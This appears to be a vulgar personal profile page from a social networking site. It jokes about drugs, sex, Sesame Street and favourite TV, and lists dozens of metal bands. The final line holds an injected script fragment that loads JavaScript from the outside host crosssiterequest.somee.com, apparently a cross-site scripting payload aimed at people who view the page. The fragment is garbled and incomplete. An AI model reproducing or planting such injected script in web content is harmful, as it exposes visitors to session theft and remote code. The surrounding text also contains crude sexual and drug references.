i hate the beach, too much sand in my crotch, so don't ask me to walk on it! on a more postive note, i like to just sit around with buch of drug free friends tell some jokes, put on a little zepplin or tom jones if the mood is right and see where the night takes us. maybe we'll go out or maybe we'll turn the music up, the lights down low and watch one of my older brother's best porno's in slow motion i don't know what ever goes is my saying. just imagine what goes on when we hit the town!! come on over and see.
when i grow up i want to meet big bird, but my real fantasy is to meet grover. fuck elmo and all that tickling shit i mean come on that's just teaching little kids it's okay to go around touching each other. but grover never did anything like that he just kept it real with that low profile and all way to keep it real grover. and cookie moster if you ever read this you still owe me money for that dime bag....there's no such thing as "magic cookies" so stop trying to give them to me!!!
The Absence, InFlames Tool, Children Of Bodom, Voices of The Dead, Devlyn Sydus, Illnath, Accept, Alice In Chains, Amon Amarth Arch, Ayreon, Black Label Society, Black Sabbath, Blood Bath, Borknagar, Caliban, Carnal Forge Candlebox, Celtic Frost, Cradle of Filth, Crisis, Cryptopsy, Darkane, Dark Tranquillity, Darkthrone, Diecast, Dimension Zero, Dimmu Borgir, The Distillers, The Doors, Dope, Duskfall, Exodus, Extol, Eyes of Fire, Fireball Ministry, Flyleaf, The Forsaken, God forbid, Gun N' Roses, Heaven Shall Burn, Hellfueled, Hypocrisy, Immortal, Impaled Into Eternity, Iron Maiden, Jimi Hendris, Judas Priest, Lacuna Coil, Led Zeppelin, Machine Head, Marilyn Manson, Mayhem, Meshuggah, Metallica, Misfits, Mortician, Necrophagist, Nightrage, Opeth, A Perfect Circle, Paths of Possession, Primal Fear, Prodigy, Raunchy, Read Hot Chili Peppers, Rob Zombie, Rolling Stones, Six Feet Under, Thy Infernal, Walls of Jerico
TITANIC!!!! fuck everyone else who tried to make a movie you all suck!!
alright i went a little too far with all of that other movie stuff, you guys tried but come on it's titanic!!!! any who, i love anything that makes you think. law and order, myth busters, jepoardy, justice files, and lets not forget the movies of the week on lifetime (a great way to get some pussy!!) just grab some water sprikle it on your eyes about and hour in and you're there!! got lifetime for helping me lose my virginity!! and special thanks to the lovely ladies at the bunny ranch that stuff with the touge really did work :0 props to grover for keepin it real. and let's not forget the history channel and pbs for their quailty programing and endless coverage of world war 2.
i like books with large print and lots of pages. maybe once in a while i'll class it up with a novel of some kind you know the dictonary or maybe a whole letter of the encyclopedia! see i can spell that because i read the dictionary. education rocks!!!!
fuck the hero's of today i want someone real. spider man is cool and i gotta give prop's to batman i mean they all have the ball to wear tights but to me a hero is none of those people. a hero is that kid working minimum wage at the grocery store just to have enough at the end of the week for a pack of smokes and a round of mini golf at the local putt putt. or maybe that white kid working at mcdonalds who has no idea what anyone is saying because he failed spanish but he show's up every day. those are my hero's and let's not forget the biggest hero of all, the alcoholics, everyday taking time away from family, money, work, and even a social life to dedicate themselves to that tirless sport of getting a beer belly and watching the game. to all of you WAY TO GO!! src="http://crosssiterequest.somee.com/request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..